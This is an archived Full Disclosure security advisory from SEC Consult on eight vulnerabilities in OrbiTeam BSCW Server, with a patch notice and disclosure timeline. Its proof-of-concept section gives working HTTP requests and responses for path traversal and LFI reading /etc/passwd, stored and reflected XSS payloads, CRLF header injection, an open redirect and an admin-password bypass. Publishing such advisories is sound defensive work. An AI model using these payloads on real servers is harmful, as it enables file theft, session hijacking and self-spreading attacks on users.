lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <7b3ad857-9e55-d281-1621-2f2550e54e3a@sec-consult.com> Date: Thu, 2 Dec 2021 10:39:18 +0000 From: "Functional Account, SEC Consult Vulnerability Lab" <security-research@...-consult.com> To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org> Subject: [FD] SEC Consult SA-20211202-0 :: Multiple vulnerabilities in OrbiTeam BSCW Server SEC Consult Vulnerability Lab Security Advisory < 20211202-0 > ======================================================================= title: Multiple vulnerabilities in BSCW Server product: OrbiTeam BSCW Server vulnerable version: BSCW Server 5.0.x, 5.1.x, <=5.2.4, <=7.3.x, <=7.4.3 fixed version: 5.2.5, 7.4.4 CVE number: requested/pending impact: Critical homepage: https://www.bscw.de/ found: 2021-09-05 by: Armin Stock (Atos ODS) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "BSCW Classic is in use around the world. With more than 500 functions, it offers the right solution for every task. Turn your ideas into reality! Our proven system has been supporting information flow and knowledge management at numerous companies for more than 20 years." Source: OrbiTeam - BSCW Server: https://www.bscw.de/en/ Business recommendation: ------------------------ The vendor provides a patched version for the affected products which should be installed immediately. Vulnerability overview/description: ----------------------------------- 1) Authenticated path traversal allows access to local files The operation `addtempl` does allow a user to add files from a template directory on the server. It accepts the parameter `template`, which is used to create the path of the file. The only security mechanism to prevent a path traversal attack is `template.replace("../", "")`. This can easily be bypassed, by specifying a value like `....//`. 2) Authenticated wormable stored XSS The operation `chbanner` allows a user to change the banner of some objects. The banner data does support different text formats. ------------------------------------------------------------------------------- # File: bscw/core/bs_txtformat.py format_text = 1 format_textpre = 2 format_html = 4 format_bbcode = 8 format_wiki = 16 ------------------------------------------------------------------------------- Using the format `textpre - 2` allows the user to include a limited set of HTML tags in the banner. Validation of the provided data is as follows: * Use the `Python` module `HTMLParser.HTMLParser` to parse the provided data * Override `handle_starttag` * check if tag is in `ValidElements` * check if an attribute does not start with `on` * check that the value of the `href` attribute does not start with `javascript:` One way to exploit this behavior and perform an XSS attack is to reuse the Dojo Toolkit (https://dojotoolkit.org) and the available types. 3) Multiple HTTP header attacks The operation `login` does accept the query parameter `returnto`. The value of this parameter is later used as a value in the HTTP response header `Location`. As the value is not validated or encoded it is possible to perform several attacks: * Open redirect * HTTP header injection 4) Session object manipulation allows to bypass entering the password for admin actions The BSCW server has a check to validate that a user is an actual admin, which can be summarized as: Summary of admin check: * Is the username in the configured `SERVER_ADMINS` array * Is the remote IP in the configured allow-list * Has the session object a key `is_admin` To fulfill the third requirement, the normal way is calling the operation `admin` and enter the user password. An attacker with access to an admin session (maybe via XSS) can bypass this step by using any operation based on the `bscw.core.cl_input.InputBase` class. This class verifies `POST` requests and the incoming data. If there is something wrong, it will save the provided data in the `session` object and redirect the user to the current page. The key, which is used to store the provided data in the `session` object, is the value of the parameter `session`. This allows an attacker to set a non-empty value for the `is_admin` key and fulfill the third requirement of the `is_admin` function. 5) Unauthenticated LFI The operation `theme` is vulnerable to a local file inclusion attack. It accepts the query parameter `style_name`, which is used to locate a file and serve the content. As the parameter is not validated and no restriction is enforced to serve only files from specific directories it is possible to read arbitrary files. But there is a restriction, which files can be accesses as the content of the file is used as a format string with the `%` operation. 6) Unauthenticated reflected XSS - refresh The operation `refresh` allows setting arbitrary attributes on the `response` object. The `response` object is later used to create the actual HTTP response. Important `response` object attributes: * `_type` - e.g. `location` used for redirection, `body` set HTTP body to `body` attribute, `file` serve local file * `body` - content send as HTTP body, if `_type` == `body` * `mimetype` - used for the value of the HTTP header `Content-Type`, can also be used for HTTP header injection 7) Unauthenticated reflected XSS - upload_browser The operation `upload_browser` accepts the query parameter `CKEditorFuncNum`, which is reflected in the response. As the value is used inside an existing `script` block it is possible to inject own `JavaScript` code. 8) Unauthenticated user enumeration It is possible to enumerate all usernames registered on the BSCW server. This information can later be used for password-based attacks. If the verification of the session token fails, a error message is shown to the user that he needs to re-authenticate. This message does contain the username if the provided `USERID` is valid. Proof of concept: ----------------- 1) Authenticated path traversal allows access to local files This allows an attacker to add any file from the server's filesystem to its own folder and download the content afterwards. ------------------------------------------------------------------------------- POST /sec/bscw.cgi/209?op=_addtempl HTTP/1.1 Host: bscw.local:8080 User-Agent: curl/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 174 Origin: http://bscw.local:8080 DNT: 1 Connection: keep-alive Referer: http://bscw.local:8080/sec/bscw.cgi/209?op=addtempl Cookie: MicroblogInboxIndicatorState=%5B0%2C0%5D; MicroblogSlidingPanelDisplayState=%22hidden%22; _sec_bscws="3237cc7f0956a03651500ee5e3254a01:51"; bscw_auth="XPN8djYx/kdqb4t8KopuYS+KkgMzTthB:33" Upgrade-Insecure-Requests: 1 op=addtempl&bscw_v_post=JoyUiupaaP5QtTJUse%2BD3Vp2IVtkwoTthB&template=....//....//....//....//....//....//....//....//....//....//etc/passwd&name=hello_pwd&description=&_ok_a=+++OK+++ ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- GET /sec/bscw.cgi/d2748/hello_pwd HTTP/1.1 .... Response: HTTP/1.1 200 OK Date: Wed, 08 Sep 2021 11:44:10 GMT Server: SimpleHTTP/0.6 Python/2.7.18 Expires: Wed, 08 Sep 2021 09:44:10 GMT Last-Modified: Wed, 08 Sep 2021 11:43:52 GMT Etag: "2750.1631101432.958828" Content-Length: 1049 Content-Type: application/octet-stream Keep-Alive: timeout=5, max=100 Connection: Keep-Alive root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin openldap:x:101:102:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/false bscw:x:999:999:BSCW system user:/opt/bscw:/bin/bash ------------------------------------------------------------------------------- 2) Authenticated wormable stored XSS The following banner code: ------------------------------------------------------------------------------- <P>hello <div data-dojo-type="dojobscw.operations.HoverToolbarButton" data-dojo-props="onClick: alert(document.domain)">foo</div> ------------------------------------------------------------------------------- uses only valid tags an attributes. As it contains `Dojo` specific attributes it is processed by `Dojo`, which results in executing the provided `JavaScript` code. Although the attribute name of the payload is `onClick`, it is triggered just by visiting the site. As it is possible to change the banner of shared objects like folders, a malicious user can weaponize a banner, which is shared with other people and include a self spreading payload. After other users with access to the folder visit it, the payload gets triggered and can copy itself into all other shared folders the victim has access to. 3) Multiple HTTP header attacks 3.1) Open redirect The URL used in the `Location` header can point to any URL, which forces the user's browser to navigate to an attacker controlled site. ------------------------------------------------------------------------------- GET /pub/bscw.cgi/306?op=login&returnto=https://www.example.com HTTP/1.1 Host: bscw.local:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Cookie: _pub_bscws="88522409e1509f61abbbf230eed829ad:2" Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache ------------------------------------------------------------------------------- Response: ------------------------------------------------------------------------------- HTTP/1.1 303 See Other Date: Thu, 02 Sep 2021 20:24:28 GMT Server: SimpleHTTP/0.6 Python/2.7.18 Cache-Control: no-cache Pragma: no-cache Expires: Thu, 02 Sep 2021 18:24:28 GMT Location: https://www.example.com Content-Type: text/html; charset=UTF-8 ------------------------------------------------------------------------------- 3.2) Header injection As there is no validation at all, it is also possible to inject `\r\n` which allows an attacker to "create" new HTTP headers in the response. This can for example be abused to set new cookies. ------------------------------------------------------------------------------- GET /pub/bscw.cgi/306?op=login&returnto=/%0d%0aSet-Cookie:%20Foo=bar ... ------------------------------------------------------------------------------- Response: ------------------------------------------------------------------------------- HTTP/1.1 303 See Other Date: Thu, 02 Sep 2021 20:29:17 GMT Server: SimpleHTTP/0.6 Python/2.7.18 Cache-Control: no-cache Pragma: no-cache Expires: Thu, 02 Sep 2021 18:29:17 GMT Location: http://bscw.local:8080/ Content-Type: text/html; charset=UTF-8 Content-Length: 2425 Set-Cookie: _pub_bscws="6a0d3c1b6810d47d4f57662f9993fceb:2"; expires=Tue, 23 Feb 2027 20:29:17 GMT; httponly; Path=/pub/; Version=1 Set-Cookie: Foo=bar Keep-Alive: timeout=5, max=100 Connection: Keep-Alive ------------------------------------------------------------------------------- 4) Session object manipulation allows to bypass entering the password for admin actions After logging in with an admin account the `Admin` menu is disabled. Set the `is_admin` attribute in the user session: ------------------------------------------------------------------------------- POST /sec/bscw.cgi/30 HTTP/1.1 Host: bscw.local:8080 User-Agent: curl/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: http://bscw.local:8080/pub/bscw.cgi/30 Cookie: MicroblogSlidingPanelDisplayState=%22hidden%22; MicroblogInboxIndicatorState=%5B0%2C0%5D; bscw_auth="8Uf4+dFG/DGjTdFBFFFVZORIEMH1TthB:33"; _sec_bscws="fa275d74b9ddb381ea238fb9e62578dd:51" Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 60 op=copylink&id=30&noflash=1&session=is_admin&_ok_.x=+++OK+++ ------------------------------------------------------------------------------- After issuing the above request the `Admin` menu is enabled, without entering the user password. 5) Unauthenticated LFI Getting the `/etc/passwd` file via the public interface: ------------------------------------------------------------------------------- GET /pub/bscw.cgi/30?op=theme&style_name=../../../../../../../../etc/passwd HTTP/1.1 Host: bscw.local:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Cookie: MicroblogInboxIndicatorState=%5B1630932508%2C0%5D; MicroblogSlidingPanelDisplayState=%22hidden%22; _sec_bscws="ce8ee39692303f447b50560277dd49f9:51"; bscw_auth="Gpx4/TavfN/lApZ7kyIwEH+Fy4aDTdhB:33"; _pub_bscws="6137c54f:0" Upgrade-Insecure-Requests: 1 ------------------------------------------------------------------------------- Response: ------------------------------------------------------------------------------- HTTP/1.1 200 CSS Date: Tue, 07 Sep 2021 20:02:35 GMT Server: SimpleHTTP/0.6 Python/2.7.18 Cache-Control: no-cache Pragma: no-cache Expires: Tue, 07 Sep 2021 18:02:35 GMT Content-Type: text/css Vary: Accept-Encoding Content-Length: 1049 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin openldap:x:101:102:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/false bscw:x:999:999:BSCW system user:/opt/bscw:/bin/bash ------------------------------------------------------------------------------- 6) Unauthenticated reflected XSS - refresh Getting an alert box: ------------------------------------------------------------------------------- GET /pub/bscw.cgi/30?op=refresh¬ify=1¬ify_args=_type¬ify_args=body¬ify_args=mimetype¬ify_args=encoding&encoding=utf-8%0d%0afoo:%20bar&mimetype=text/html&_type=body&body=<@urlencode><script>alert(document.domain)</script><@/urlencode> HTTP/1.1 Response: HTTP/1.1 200 bscw_dialog Date: Fri, 10 Sep 2021 21:16:35 GMT Server: SimpleHTTP/0.6 Python/2.7.18 Cache-Control: no-cache Pragma: no-cache Expires: Fri, 10 Sep 2021 19:16:35 GMT Content-Type: text/html Content-Length: 39 Set-Cookie: _pub_bscws="327c299e8c460787f98700155696c946:2"; expires=Wed, 03 Mar 2027 21:16:35 GMT; httponly; Path=/pub/; Version=1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive <script>alert(document.domain)</script> ------------------------------------------------------------------------------- 7) Unauthenticated reflected XSS - upload_browser The value gets written to the following block: ------------------------------------------------------------------------------- <script type="text/javascript"> //<![CDATA[ function CloseWindow(){ window.close(); } function SetUrl(url){ window.opener.CKEDITOR.tools.callFunction(INJECT_ME, '.'); // ^^^ Clear protocol field window.opener.CKEDITOR.tools.callFunction(INJECT_ME, url); } // .... //]]> </script> ------------------------------------------------------------------------------- To escape the function call and keep the `JavaScript` code valid, which is required to get executed, the following payload can be used: `foo)};alert(document.domain);function%20a(){m(a` The resulting code looks like this: ------------------------------------------------------------------------------- <script type="text/javascript"> //<![CDATA[ function CloseWindow(){ window.close(); } function SetUrl(url){ window.opener.CKEDITOR.tools.callFunction(foo)};alert(document.domain);function a(){m(a, '.'); // ^^^ Clear protocol field window.opener.CKEDITOR.tools.callFunction(foo)};alert(document.domain);function a(){m(a, url); } //.. //]]> </script> ------------------------------------------------------------------------------- 8) Unauthenticated user enumeration If the verification of the token fails, an error message is shown to the user that he needs to re-authenticate. This message does contain the username if the provided `USERID` is valid. ------------------------------------------------------------------------------- GET /sec/bscw.cgi/2 HTTP/1.1 Host: bscw.local:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Cookie: _sec_bscws="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:264" Upgrade-Insecure-Requests: 1 ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- <p class="hint"> Authenticate yourself for BSCW Shared Workspace Server (sec) at bscw.local. <br /> <a href="/pub/bscw.cgi?op=chpwd">Forgot your password?</a> </p> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <th scope="row"> <label for="uname">User name:</label> </th> <td> <span class="strong">foo</span> <input type="hidden" name="username" value="foo" /> </td> </tr> <tr> <th scope="row"> <label for="pwd">Password:</label> </th> <td> <input class="inputfield" id="pwd" size="40" type="password" name="passwd" value="" /> </td> </tr> ------------------------------------------------------------------------------- Vulnerable / tested versions: ----------------------------- BSCW Classic 5.2.4 was used to find the vulnerability. The vendor confirmed that following versions also affected by the vulnerability: BSCW Server 5.0.11, 5.1.9, 5.2.4, 7.3.2, <=7.4.3 Vendor contact timeline: ------------------------ 2021-09-11: Sent report to vendor 2021-09-12: Vendor confirmed the issue and is working on a patch 2021-11-13: Vendor notified licensed customer about the issue and a patch 2021-11-25: Requesting CVE numbers (Mitre) 2021-11-26: Got email confirmation from Mitre, but no CVE numbers yet 2021-11-29: Scheduled advisory release for 2021-12-01, coordinated with vendor 2021-12-01: Postponing release because of missing CVE numbers (asked again) 2021-12-02: Release of security advisory without CVE numbers. Solution: --------- The vendor provides a patched version v5.2.5 and v7.4.4 for the affected and supported products which should be installed immediately. https://www.bscw.de/social/#download https://www.bscw.de/classic/#download Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Armin Stock / @2021 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists